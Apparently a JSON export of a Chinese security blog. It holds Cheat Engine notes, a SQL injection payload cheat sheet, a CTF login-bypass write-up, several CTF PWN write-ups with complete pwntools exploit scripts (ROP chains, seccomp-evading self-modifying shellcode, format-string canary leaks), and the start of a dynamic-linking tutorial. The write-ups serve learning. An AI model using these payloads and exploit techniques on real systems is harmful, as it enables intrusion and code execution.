[{"content":"概述 Cheat Engine 简称 CE，是一款非常著名的开源内存扫描工具、十六进制编辑器和调试器。它由 Eric Heijnen（网名 Dark Byte）开发，主要用于修改单机电脑游戏中的数据，但也广泛应用于软件逆向工程、调试和安全测试。\n1. 核心工作原理 游戏或软件在运行时，会将数据（如玩家的生命值、金钱、弹药量等）临时存储在电脑的内存（RAM）中。Cheat Engine 的核心功能就是读取和修改这些内存数据。\n扫描与筛选：假设你在游戏中拥有 100 枚金币。你可以在 CE 中搜索数字“100”。CE 会在内存中找出成千上万个值为 100 的地址。接着，你在游戏里花掉一些金币，剩下 85 枚。你再在 CE 中搜索“85”，CE 就会在刚才的搜索结果中筛选出变化为 85 的地址。重复几次后，你就能精确定位到控制金币数量的那个唯一内存地址。 修改与锁定：找到地址后，你可以把 85 改成 999999，游戏里的金币就会瞬间暴涨。你还可以将其“锁定（Freeze）”，这样即使游戏试图扣除金币，数值也会保持不变（实现无限金钱或无敌）。 2. 主要功能 除了基础的数值修改，CE 还是一个功能强大的底层分析工具：\n内存扫描器 (Memory Scanner)：支持各种数据类型（整数、浮点数、字符串等），也支持“未知初始值”扫描（比如游戏里只显示血条没有具体数字时，可以通过血量“减少”或“增加”来进行模糊搜索）。 调试器 (Debugger)：可以找出是哪些程序代码（汇编指令）在读取或写入你找到的内存地址。这对于制作高级修改脚本至关重要。 变速齿轮 (Speedhack)：可以加快或减慢目标程序的运行速度。常用来跳过漫长的游戏过场动画，或者在动作游戏中放慢速度以完成高难度操作。 指针扫描 (Pointer Scanner)：现代操作系统和游戏为了安全，每次启动时数据的内存地址都会发生变化（动态内存分配）。指针扫描可以帮助用户找到固定的“基址（Base Address）”，从而制作出每次启动游戏都能直接使用的修改器（Trainer）。 脚本引擎 (Auto Assembler \u0026amp; Lua)：允许高级用户编写汇编脚本或 Lua 脚本，实现更复杂的逻辑修改，甚至打包生成独立的修改器（.exe 文件）分享给别人。 3. 应用场景 单机游戏修改：这是最常见的用途，玩家用来降低游戏难度、跳过重复刷怪（肝）的过程。 软件逆向工程：程序员和安全研究人员使用 CE 来分析未知软件的内部运作机制。 学习汇编语言与计算机基础：CE 自带了一个包含多个关卡的“闯关教程（Tutorial）”，非常适合新手通过实践来学习内存结构、指针、汇编语言等计算机底层知识。 拓展 RPG Maker 中文常译为 RPG 制作大师，是由日本 Enterbrain（现为角川集团旗下）开发的一系列**“低代码/无代码”游戏引擎**\n初衷：让完全不懂编程的人，也能做出属于自己的王道 JRPG，它自带了海量的地图图块、音乐、战斗系统，你只需要像“搭积木”一样把它们拼起来。\n虽然门槛极低，但它却诞生了无数神作，比如：\n催泪神作： 《去月球 (To the Moon)》、《寻找天堂》 心理恐怖/微恐解谜： 《Omori》、《恐怖美术馆 (Ib)》、《青鬼》、《杀戮的天使》、《魔女之家》、《尸体派对》 CTF 中应用 考点 A：Ruby 语言的内存奇葩机制 在搜内存时，往往需要把数字**“乘 2 加 1”**，你肯定觉得很奇怪，为什么不直接存数字，而非要存这样的式子？\n因为对于 RPG Maker VX Ace，它的底层脚本语言是 Ruby。 比如，在 C 语言或 C++ 里，数字 600 在内存里就是 600（二进制 0000 0258）。 但在 Ruby 语言里，“万物皆对象”。为了在内存中区分“这是一个对象指针”还是“这是一个极小的整数（Fixnum）”，Ruby 的底层引擎做了一个极客的设定：\n它把整数向左移动 1 位（相当于乘 2） 然后把二进制的最后一位强制标记为 1（相当于加 1） 当系统读取到一个内存地址，发现最后一位是 1 时，它就知道：“哦，这不是个指针，这是个整数，我把它减去 1 再除以 2 就能得到真实的数字了。” 这就是为什么在 XP、VX、VX Ace 版本的 RM 游戏里，用 CE 永远搜不到面板数字的真相！这就叫逆向工程中的“数据结构识别”！\n考点 B：极其死板的逻辑控制（事件、开关、变量） RM 游戏没有复杂的物理引擎，它的世界运转全靠三个东西：\n开关 (Switches)： 只有 True 和 False。比如 开关001：宝箱是否打开、开关002：BOSS 是否死亡。 变量 (Variables)： 存放整数。比如 变量001：收集到的硬币数、变量002：好感度。 事件 (Events)： 地图上的 NPC、宝箱、门，全叫事件。 在更高级的 CTF 题中，出题人会把 FLAG 藏在某个事件里，并设置条件：只有当 变量051 == 9999 且 开关008 为 True 时，NPC 才会把 FLAG 告诉你。 这时候，用 CE 动态改内存，或者用存档编辑器直接改变量，就成了破局的钥匙。\n考点 C：伪加密与解包 (Unpacking) 比如说 Game.rgss3a 文件，是 RM 游戏的“加密包”，里面打包了所有的图片、音乐和核心代码脚本。 这种加密非常薄弱。在逆向安全领域，有很多开源工具（比如 RPGMakerDecrypter）可以一键把这个 .rgss3a 文件解包。 解包后，你可以直接拿到游戏的源代码。很多 CTF 选手甚至懒得打开游戏，直接用文本编辑器搜索解包后的源代码，三秒钟就能找到写在代码里的 FLAG！\n","date":"2026-09-23T14:20:00+08:00","image":"/covers/03.jpg","permalink":"/p/cheat-engine-notes/","title":"笔记：Cheat Engine 基础整理"},{"content":"常见注入类型 类型 特征 常用 payload 联合查询注入 页面有回显 ' union select 1,2,3-- - 报错注入 页面回显数据库错误 ' and extractvalue(1,concat(0x7e,user()))-- - 布尔盲注 页面只有真/假两种状态 ' and 1=1-- - / ' and 1=2-- - 时间盲注 无回显，靠响应时间判断 ' and if(1=1,sleep(3),0)-- - 常用函数速查 user() / version() / database()：基本信息 information_schema.tables / .columns：库表结构 group_concat()：聚合多行结果 防御要点 参数化查询（预编译） 最小权限原则，Web 账号禁用 FILE 等高危权限 WAF 只能作为补充，不能替代代码层修复 ","date":"2026-08-23T20:30:00+08:00","image":"/covers/10.jpg","permalink":"/p/sqli-basics-notes/","title":"笔记：SQL 注入基础整理"},{"content":"题目描述 签到题，访问目标站点，提示「flag 在 admin 的密码里」。\n解题过程 打开页面是一个登录框，随手测试 admin' or '1'='1，页面返回登录成功。\n进一步用 UNION 注入dump数据：\n1 2 3 4 5 6 7 import requests url = \u0026#34;http://target.example.com/login\u0026#34; payload = \u0026#34;\u0026#39; union select 1,username,password from users-- -\u0026#34; resp = requests.post(url, data={\u0026#34;username\u0026#34;: payload, \u0026#34;password\u0026#34;: \u0026#34;x\u0026#34;}) print(resp.text) 响应中拿到：\n1 admin | flag{w3lc0me_t0_ctf_w0rld} 原理分析 登录 SQL 拼接形如：\n1 SELECT * FROM users WHERE username = \u0026#39;$u\u0026#39; AND password = \u0026#39;$p\u0026#39; 单引号闭合后注释掉后半段即可绕过。时间复杂度为 $O(n)$，其中 $n$ 为注入尝试次数。\n总结 过滤单引号是治标不治本，应该用参数化查询 本题考点：基础 SQL 注入 + UNION 查询 ","date":"2026-08-23T20:00:00+08:00","image":"/covers/08.jpg","permalink":"/p/ctf-web-signin-wp/","title":"入门 Web 签到题：SQL 注入基础利用"},{"content":"奶龙杯 - 复仇奶龙已归来(PWN) 1. 题目概述 不愧是复仇奶龙归来！！！！！！！\n题目类型：Binary Exploitation (PWN / Static Link / ROP) 解题关键：识别 rsync 干扰项 + 静态链接下的 ROP 链构造 + 64位栈平坦化对齐（pop rdi ; pop rbp ; ret）。 2. 保护机制与程序分析 2.1 Checksec / 静态分析 对可执行文件进行分析：\nArch：amd64-64-little (x86_64) Link Style：Statically linked（静态链接，所有 glibc 代码已直接嵌入二进制文件） PIE：No PIE (0x400000 固定基址) NX：NX enabled（栈不可执行） 2.2 代码分析与漏洞定位 IDA 查看反编译代码：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 vulnerable() { _BYTE v1[256]; // [rsp+0h] [rbp-100h] BYREF puts(\u0026#34;Welcome to the archive terminal.\u0026#34;); puts(\u0026#34;Enter your access phrase:\u0026#34;); read(0LL, v1, 512LL); // \u0026lt;--- 栈溢出漏洞点 return puts(\u0026#34;Access denied.\u0026#34;); } void __noreturn win() { if ( (unsigned int)system((__int64)\u0026#34;/challenge/start.sh\u0026#34;) == -1 ) { perror(\u0026#34;system\u0026#34;); exit(1); } puts(\u0026#34;[stage 1 complete] /challenge/start.sh executed; rsync is ready on port 8731.\u0026#34;); exit(0); } 漏洞分析：v1 数组分配空间为 256 字节（0x100），但 read 允许读取 512 字节（0x200），存在极其明显的栈缓冲区溢出。\n偏移计算：覆盖至返回地址所需的 Padding 为\n1 256 (v1)+8 (Saved RBP)=264 字节 (0x108)256 (v1)+8 (Saved RBP)=264 字节 (0x108) 3. 陷阱与干扰项排查 (The \u0026ldquo;rsync\u0026rdquo; Red Herring) 题目看起来设计了双阶段（Multi-Stage）：\n溢出跳转到 win()，运行 /challenge/start.sh 并启动 rsync 服务。 通过第二个端口连接 rsync 服务，利用 rsync 提取 Flag。 为什么 rsync 无法拿到 Flag？ 查看 start.sh 与 rsync.conf 源码：\nstart.sh 执行了：\n1 2 3 echo -n \u0026#34;$INSERT_FLAG\u0026#34; \u0026gt; /flag chown root:root /flag chmod 400 /flag rsync.conf 配置了：\n1 2 3 [public] uid = 1000 gid = 1000 原因：rsync 守护进程强制以普通用户（uid 1000）运行，而 /flag 被设置为 400（仅 root 可读）。哪怕利用 use chroot = no 进行路径穿越，Linux 内核也会因权限不足拒绝 uid 1000 读取文件。\n一开始尝试第一阶段把的端口连上，然后去尝试打通 [stage 1 complete] /challenge/start.sh executed; rsync is ready on port 8731. 后台的 rsync 服务已经顺畅启动，然后想着直接去远端拉flag，但试了好久，就是不成功，原来是flag的权限写死了qwq 。。。。\n突破点：第一阶段 PWN 进程是以拥有最高权限的上下文运行的。因此直接放弃 rsync，在第一阶段构造 ROP 链获取 Shell 才是真正解法。\n4. 漏洞利用逻辑 由于程序为静态链接，程序内已嵌入完整的 glibc 符号和字符串：\n字符串：使用 strings 查找到程序中内置的 \u0026ldquo;/bin/sh\u0026rdquo; 字符串地址为 0x488599。\n函数：直接获取 system 函数符号地址为 0x405210。\nGadget 精准匹配： 使用 ROPgadget 检索指令：\n1 0x0000000000402348 : pop rdi ; pop rbp ; ret 64 位栈平坦化对齐 推导： 64 位 Linux 下调用 system 必须满足 RSP 为 16 字节对齐：\n溢出 264 字节覆盖返回地址后，RSP 处于 0 mod 16 状态。 执行 pop rdi ; pop rbp ; ret Gadget 时，会连续从栈中弹出 2 个 8 字节数据（rdi 与 rbp），共弹出 16 字节。 执行完毕跳转到 system 瞬间，RSP 刚好天然维持 16 字节对齐！因此无需插入额外的 ret gadget。 5. 完整脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; elf = ELF(\u0026#39;./ret2text1\u0026#39;) p = remote(\u0026#39;challenge.cyclens.tech\u0026#39;, 30445) pop_rdi_rbp = 0x402348 system_addr = 0x405210 bin_sh = 0x488599 log.info(f\u0026#34;pop rdi ; pop rbp : {hex(pop_rdi_rbp)}\u0026#34;) log.info(f\u0026#34;system : {hex(system_addr)}\u0026#34;) log.info(f\u0026#34;/bin/sh : {hex(bin_sh)}\u0026#34;) p.recvuntil(b\u0026#34;Enter your access phrase:\\n\u0026#34;) payload = b\u0026#39;a\u0026#39; * 264 payload += p64(pop_rdi_rbp) payload += p64(bin_sh) payload += p64(0) payload += p64(system_addr) p.sendline(payload) p.interactive() 6. 提权与获取 Flag 运行 Exploit 成功取得交互式 Shell：\n7. 总结 防范迷局：在 CTF 中遇到复杂的多阶段（如结合 rsync/ftp 等）设计时，先检查权限链（uid vs file permissions），避免被非必要的第二阶段拖住。 静态链接技巧：静态链接的 ELF 文件内部藏有丰富的汇编 Gadget 和字符串资源（如 \u0026ldquo;/bin/sh\u0026rdquo;），无需依赖 libc 泄露。 栈平坦化分析：在 64 位 ROP 链编写中，必须精确计算每一个 pop 指令对 RSP 栈指针移动的影响，确保跳入 system 时满足 16 字节对齐。 奶龙杯 - ret2text（PWN） 1.题目概述 看看保护机制\n可以知道开了Canary，NX保护\n通过IDA反汇编可以看出\n这里存在栈溢出，写入buf的字节数超过它的容量\n找到个后门函数\n综上，这就是道ret2text！！！\n2.脚本 直接写脚本\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * import time context.arch = \u0026#34;amd64\u0026#34; context.os = \u0026#34;linux\u0026#34; context.log_level = \u0026#34;debug\u0026#34; elf = ELF(\u0026#34;./ret2text\u0026#34;) win_addr = elf.sym[\u0026#39;admin_shell\u0026#39;] rop = ROP(elf) ret_gadget = rop.find_gadget([\u0026#39;ret\u0026#39;])[0] def conn(): if args.REMOTE: host = \u0026#34;challenge.cyclens.tech\u0026#34; port = 31706 return remote(host, port) else: return process(\u0026#34;./ret2text\u0026#34;) def exploit(io): io.recvuntil(b\u0026#34;Submit your signed access token.\\n\u0026#34;) payload = b\u0026#39;b\u0026#39; * 56 + p64(ret)+ p64(win_addr) io.sendline(payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = conn() exploit(io) 最开始直接用的这份脚本，发现本地能通，但是打远端发现通不了\n仔细分析，看了看日志，看日志中的这一行：\n1 2 [DEBUG] Received 0x17 bytes: b\u0026#39;[-] signature rejected\\n\u0026#39; 这是 sign_in() 函数最后一行的 return puts(\u0026quot;[-] signature rejected\u0026quot;); 打印出来的。\n这说明：Payload 已经成功写进了缓冲区，程序正常执行完 puts，准备在函数返回（执行 ret 指令）时跳转！\n挂在后面的 Got EOF while reading in interactive，说明程序在跳转到 admin_shell 或执行 system(\u0026quot;/bin/sh\u0026quot;) 的瞬间崩溃掉了。\n意思就是栈对齐的方式反了，加了ret反而打破了栈对齐，所以我们直接采用这种方式\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * import time context.arch = \u0026#34;amd64\u0026#34; context.os = \u0026#34;linux\u0026#34; context.log_level = \u0026#34;debug\u0026#34; elf = ELF(\u0026#34;./ret2text\u0026#34;) win_addr = elf.sym[\u0026#39;admin_shell\u0026#39;] rop = ROP(elf) ret_gadget = rop.find_gadget([\u0026#39;ret\u0026#39;])[0] def conn(): if args.REMOTE: host = \u0026#34;challenge.cyclens.tech\u0026#34; port = 31706 return remote(host, port) else: return process(\u0026#34;./ret2text\u0026#34;) def exploit(io): io.recvuntil(b\u0026#34;Submit your signed access token.\\n\u0026#34;) payload = b\u0026#39;b\u0026#39; * 56 + p64(win_addr+1) io.sendline(payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = conn() exploit(io) 拿到flag！！！\n奶龙杯 - BabySandbox (PWN) 1. 题目概述 题目类型：Binary Exploitation (PWN / Shellcode / Seccomp)\n解题关键：RWX 内存利用 + 自修改代码（Self-Modifying Code）绕过 syscall 静态检测 + ORW（openat-\u0026gt;\nread-\u0026gt; write）沙箱绕过。\n保护机制\n2. 代码与漏洞分析 反编译 main 函数核心代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 buf_2 = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); // 分配 RWX 权限内存 ... v5 = read(0, buf, 0x100uLL); // 最多读取 256 字节 Shellcode if ( v5 != 1 ) { do { if ( *buf_1 == 15 \u0026amp;\u0026amp; buf_1[1] == 5 ) // 检查 0x0F 0x05 (syscall) { puts(\u0026#34;No syscall allowed in shellcode!\u0026#34;); exit(1); } ++buf_1; } while ( buf_1 != \u0026amp;buf[v5 - 1] ); } puts(\u0026#34;Applying seccomp sandbox...\u0026#34;); init_sandbox(); ((void (*)(void))buf)(); // 跳转执行 Shellcode 关键特点分析： RWX 权限：mmap 的保护标记设置为 7（PROT_READ | PROT_WRITE | PROT_EXEC），即可读、可写、可执行。这允许 Shellcode 在运行阶段修改自身代码数据。 静态字节过滤：程序对输入的机器码逐字节扫描，禁止出现连续的 \\x0f\\x05（即 x86_64 汇编中的 syscall 机器码）。 沙箱限制：开启 seccomp 保护后直接执行 Shellcode。 3. 沙箱分析 使用 seccomp-tools dump 获取沙箱规则：\n1 2 3 4 5 6 0004: 0x15 0x04 0x00 0x00000101 if (A == openat) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 结论： 沙箱开启了黑名单机制，仅允许使用 openat (257), read (0), write (1), exit (60)。 传统的 execve 和 open 被禁用，需构造 ORW 链读取 /flag。 4. 漏洞利用思路 1) 绕过 \\x0f\\x05 静态扫描 (自修改代码) 由于写入的内存具有可写可执行权限，我们在汇编中先写入非 syscall 字节（如 .byte 0x0e, 0x05），并在该字节前插入一条指令：\n1 2 inc byte ptr [rip] ; 将紧随其后的 0x0e 加 1，变成 0x0f .byte 0x0e, 0x05 ; 运行到此处时已被修正为 0x0f 0x05 (即 syscall) 这样不仅能完美通过程序的静态 \\x0f\\x05 检视，也能在 CPU 执行到该位置时恢复为正确的 syscall。\n2) 构造 ORW 读取 Flag 依次调用三条系统调用：\nopenat(AT_FDCWD, \u0026ldquo;/flag\u0026rdquo;, O_RDONLY, 0) rax = 257 rdi = -100 (AT_FDCWD) rsi = 指向 \u0026ldquo;/flag\u0026rdquo; 字符串的地址 rdx = 0 read(fd, rsp, 0x100) rax = 0 rdi = openat 返回的 fd rsi = rsp (借助栈内存作为缓冲区) rdx = 0x100 write(1, rsp, 0x100) rax = 1 rdi = 1 (stdout) rsi = rsp rdx = 0x100 5. 完整脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #!/usr/bin/env python3 from pwn import * context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.log_level = \u0026#39;debug\u0026#39; shellcode_asm = \u0026#34;\u0026#34;\u0026#34; #define SAFE_SYSCALL \\ inc byte ptr [rip]; \\ .byte 0x0e, 0x05 mov rax, 257 mov rdi, -100 lea rsi, [rip + flag_str] xor rdx, rdx xor r10, r10 SAFE_SYSCALL mov rdi, rax mov rsi, rsp mov rdx, 0x100 xor rax, rax SAFE_SYSCALL mov rdi, 1 mov rsi, rsp mov rdx, 0x100 mov rax, 1 SAFE_SYSCALL flag_str: .string \u0026#34;/flag\u0026#34; \u0026#34;\u0026#34;\u0026#34; payload = asm(shellcode_asm) if b\u0026#39;\\x0f\\x05\u0026#39; in payload: log.error(\u0026#34;Payload 仍存在 0x0f 0x05，检测未通过！\u0026#34;) else: log.success(\u0026#34;已成功绕过 0x0f 0x05 静态检测！\u0026#34;) # p = process(\u0026#39;./chal\u0026#39;) p = remote(\u0026#39;challenge.cyclens.tech\u0026#39;, 30800) p.sendlineafter(b\u0026#34;max 0x100 bytes): \u0026#34;, payload) p.interactive() 拿到flag\n1 flag{4awqcpzt-fwul-4us-8y9a-qxzfzhoay3nxx} 6. 总结 本题考察了在 RWX 权限 条件下巧妙使用 自修改代码（Self-Modifying Code） 的防检测技巧。 面对 seccomp 禁用 execve 和 open 的环境，灵活利用替代系统调用（如 openat）构造 ORW 链是解题核心。 奶龙杯- ezpwn(PWN) 1. 题目概述 解题关键：格式化字符串漏洞（泄露 Canary \u0026amp; Libc） + 栈溢出漏洞（ROP 劫持控制流） 2. 保护机制检查 (Checksec) 根据动态分析与反编译结果：\nCanary：开启（栈保护已启用，__readfsqword(0x28u)） NX：开启（栈不可执行） PIE：未开启 / 固定代码段加载基址 Arch：amd64 (64-bit Linux) 3. 漏洞分析 漏洞点 1：feedback() 函数中的格式化字符串漏洞 反编译代码片段：\n1 2 3 4 5 6 7 8 9 10 unsigned __int64 feedback() { char buf[40]; ... read(0, buf, 0x1FuLL); buf[31] = 0; printf(\u0026#34;Your comment: \u0026#34;); printf(buf); // \u0026lt;--- 格式化字符串漏洞 return ... } 分析：程序将用户输入的 buf 直接作为 printf 的第一个参数传入，而没有使用 printf(\u0026quot;%s\u0026quot;, buf)。\n利用：由于输入的字节数限制在 31 字节内，无法直接构造长 Payload 进行任意写入，但足以利用 %x$p 格式化占位符泄露栈上的敏感信息（Canary 与 Libc 返回地址）。\n漏洞点 2：query() 函数中的栈溢出漏洞 反编译代码片段：\n1 2 3 4 5 6 7 unsigned __int64 query() { char buf[40]; // 缓冲区大小为 40 字节 (0x28) ... read(0, buf, 0x100uLL); // \u0026lt;--- 栈溢出漏洞 ... } 分析：buf 的实际分配空间仅为 40（0x28）字节，但 read 允许读取最大 256（0x100）字节，存在非常明显的栈溢出漏洞。 利用：在已知 Canary 的前提下，可通过溢出填充 Canary，进而覆盖 Saved RBP 与返回地址，构造 ROP 链调用 system(\u0026quot;/bin/sh\u0026quot;)。 4. 漏洞利用思路 (Exploit Strategy) 确定格式化字符串偏移：\n输入 AAAA.%p.%p\u0026hellip; 在 GDB 中调试，确定输入缓冲区的起始偏移为 %6$p。 计算栈结构：buf 占 40 字节（5 个 8 字节单元），故 Canary 位于 %11$p（6 + 5）。 继续定位栈深处的 Libc 返回地址，确定其位于 %17$p。 泄露内存地址与计算 Libc 基址：\n运行 Option 1 (feedback)，发送 Payload %11$p.%17$p。\n解析输出得到 Canary 以及 Libc Leak 地址。\n通过 GDB 的 vmmap 计算得出相对偏移：\n1 libc_base=libc_leak−0x2a1calibc_base=libc_leak−0x2a1ca 构造 ROP 链 Getshell：\n运行 Option 2 (query)，构造栈溢出 Payload： Padding（40 字节 A） Canary（8 字节泄露出的正确值） Saved RBP（8 字节 B） ret gadget（8 字节，用于 64 位 Ubuntu 的 16 字节栈平坦化对齐） pop rdi; ret + \u0026ldquo;/bin/sh\u0026rdquo; 地址 + system 地址 发送 Payload，劫持控制流成功获取 Shell。 5. 完整脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import * context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] elf = ELF(\u0026#39;./vuln\u0026#39;) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) host = \u0026#39;challenge.cyclens.tech\u0026#39; port = 30554 p = remote(host, port) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) payload_leak = b\u0026#34;%11$p.%17$p\u0026#34; p.sendlineafter(b\u0026#34;Leave a comment: \u0026#34;, payload_leak) p.recvuntil(b\u0026#34;Your comment: \u0026#34;) leak_data = p.recvline().strip().split(b\u0026#34;.\u0026#34;) canary = int(leak_data[0], 16) libc_leak = int(leak_data[1], 16) log.success(f\u0026#34;Leaked Canary : {hex(canary)}\u0026#34;) log.success(f\u0026#34;Leaked Libc Leak : {hex(libc_leak)}\u0026#34;) libc.address = libc_leak - 0x2a1ca log.success(f\u0026#34;Libc Base Address: {hex(libc.address)}\u0026#34;) system_addr = libc.symbols[\u0026#39;system\u0026#39;] bin_sh_addr = next(libc.search(b\u0026#39;/bin/sh\\x00\u0026#39;)) rop = ROP(libc) pop_rdi = rop.find_gadget([\u0026#39;pop rdi\u0026#39;, \u0026#39;ret\u0026#39;])[0] ret_gadget = rop.find_gadget([\u0026#39;ret\u0026#39;])[0] log.info(f\u0026#34;pop rdi : {hex(pop_rdi)}\u0026#34;) log.info(f\u0026#34;system : {hex(system_addr)}\u0026#34;) log.info(f\u0026#34;/bin/sh : {hex(bin_sh_addr)}\u0026#34;) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;2\u0026#34;) payload_bof = b\u0026#34;A\u0026#34; * 40 payload_bof += p64(canary) payload_bof += b\u0026#34;B\u0026#34; * 8 payload_bof += p64(ret_gadget) payload_bof += p64(pop_rdi) payload_bof += p64(bin_sh_addr) payload_bof += p64(system_addr) p.sendlineafter(b\u0026#34;Enter query: \u0026#34;, payload_bof) p.interactive() 6. 总结 本题是一道非常经典的 \u0026ldquo;格式化字符串信息泄露 + 栈溢出 ROP\u0026rdquo; 组合题。\n关键点在于先利用短小无污染的格式化字符串泄露出动态保护机制（Canary 和 ASLR 中的 Libc 地址）。 在构造 64 位 ROP 链时，注意 Ubuntu 系统下 glibc system 调用时的 16 字节栈对齐要求（通过额外添加 ret 指令解决）。 若文中有理解不深、表述欠妥之处，欢迎各路师傅指正交流。\n","date":"2026-08-16T21:00:14+08:00","image":"/covers/10.jpg","permalink":"/p/nailong-cup-wp/","title":"奶龙杯比赛 WP 汇总"},{"content":"前置知识 延迟绑定 动态链接将链接工作由编译时推迟到了运行时，在每次程序运行时，动态链接器都要寻找并加载依赖的动态库，然后进行符号查找和重定位工作，这导致动态链接的程序在加载时会带来一些额外的开销，为了提升程序的加载速度，编译系统使用了一种称为延迟绑定的技术\n在动态链接下，程序加载的模块中包含了大量的函数调用，因此动态链接器会耗费很多时间用于解决模块间的函数引用的符号查找和重定位，而实际上只有很少的一部分符号会被立即访问，延迟绑定通过将函数地址的绑定推迟到第一次调用这个函数时，从而避免动态链接器在加载时处理大量函数引用的重定位，让使用到的函数才存放地址。\n使用到两个特殊的数据结构：全局偏移表GOT（数据段），过程链接表PLT（代码段）\nGOT（全局偏移表） 全局偏移表在ELF文件中以独立的节区存在，共包含两类，对应节区名为.got和.got.plt，其中，.got存放所有对于外部变量引用的地址，.got.plt保存所有对于外部函数引用的地址，对于延迟绑定主要使用.got.plt表，结构如下：\n可以看到.got.plt表的前三项存放着特殊的地址引用：\nGOT[0]：保存.dynamic段的地址，动态链接器利用该地址提取动态链接相关的信息\nGOT[1]：保存本模块的ID\nGOT[2]：存放了指向动态链接器_dl_runtime_resolve函数的地址，\n过程链接器 为了实现延迟绑定，当调用外部模块的函数时，程序并不会直接通过GOT跳转，而是通过存储在PLT表中的特定表项进行跳转，对于所有的外部函数，在PLT表都会有一个相应的项，其中每个表都保存了16字节的代码，用于调用一个具体的函数，相应结构如下：\n1 2 3 4 puts@plt: jmp QWORD PTR [got_puts] ; 【第一个 jmp】跳到 GOT 表里存的地址 push 0x1 ; 【这就是所谓的“压 ID”】 jmp PLT0 ; 【第二个 jmp】跳到 PLT 表的头部 (PLT0) 1 2 3 PLT0 1. push [GOT[1]] （把 link_map 指针压栈作为参数）。 2. jmp [GOT[2]] （跳去执行 _dl_runtime_resolve）。 过程 _dl_runtime_resolve 函数_dl_runtime_resolve(link_map，reloc_offset)可以对动态链接的函数进行重定位\n第一次调用这个函数，先是到plt表，然后jmp到got表\n此时got表存的地址是在plt表上\n其实也就是jmp got的下一条指令，先是push ID（即为函数在rel.plt上的偏移，reloc_arg），然后jmp到plt[0]\n到了plt[0]之后，按照顺序先push got[1]，got[1]就是link_map（链接器的标识信息），然后jmp到got[2]也就是_dl_runtime_resolve函数的地址\n1 2 3 PLT0: push DWORD PTR [GOT+4] ; 将 GOT[1] 的内容压入栈中 jmp DWORD PTR [GOT+8] ; 跳转到 GOT[2] 存放的地址去执行 这里就是全流程。。。\n就比如说对于puts函数去讲解吧\n1.第一次调用puts时，got_puts里面存的其实是下一条指令的地址（即push 0x1）的地址，所以第一个jmp以后，没有去别的地方，而是顺着往下执行\n2.执行push 0x1，这里的0x1其实就是ID（重定位索引表），它告诉动态链接器需要解析的函数在重定位表中的索引\n3.执行jmp PLT0，跳到PLT表的开头，PLT0里面有一段固定的代码，会去调用_dl_runtime_resolve（动态解析函数）\n4.解析过程：_dl_runtime_resolve拿到了刚才压入的ID，去符号表（SYMTAB）和字符串表（STRTAB）里查找到这个函数名叫\u0026quot;puts\u0026quot;，然后去libc里找到puts函数的真实内存地址，填回到got_puts中，最后执行puts\n5.第二次调用puts时，第一个jmp执行时，因为got_puts里已经有真实的libc地址了，就直接执行，不会再执行后面的push和jmp\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 你调用的函数 (如 read@plt) │ ├─\u0026gt; 1. push ID (reloc_arg) ├─\u0026gt; 2. jmp PLT[0] │ PLT[0] │ ├─\u0026gt; 3. push link_map (GOT[1]) ├─\u0026gt; 4. jmp _dl_runtime_resolve (GOT[2]) │ _dl_runtime_resolve (汇编层 Wrapper) │ ├─\u0026gt; 5. push 保存各个寄存器 ├─\u0026gt; 6. call _dl_fixup(link_map, ID) \u0026lt;--- 【核心查字典逻辑，也就是我们做伪造的地方】 │ (查出真实地址，更新GOT表，返回地址) ├─\u0026gt; 7. pop 恢复各个寄存器，清理栈上的 link_map 和 ID ├─\u0026gt; 8. jmp 真实函数地址 (如 system) │ 真实函数 (如 system) │ └─\u0026gt; 9. 接收一开始布置在栈上的参数 (如 /bin/sh)，开始执行！ _dl_fixup 前面说的是延迟绑定，接下来_dl_fixup就是Linux动态链接器实现\u0026quot;延迟绑定\u0026quot;的真正执行者，它的任务是：根据传入的ID，查符号表和字符串表，找到函数的真实内存地址，把地址填回GOT表，然后把真实地址给CPU去执行\n代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 /* * 核心函数：_dl_fixup * 作用：执行“延迟绑定(Lazy Binding)”，负责在程序第一次调用外部函数时， * 查表找到该函数的真实内存地址，并填入 GOT 表中。 * 参数： * l: 指向当前程序/共享库的 link_map 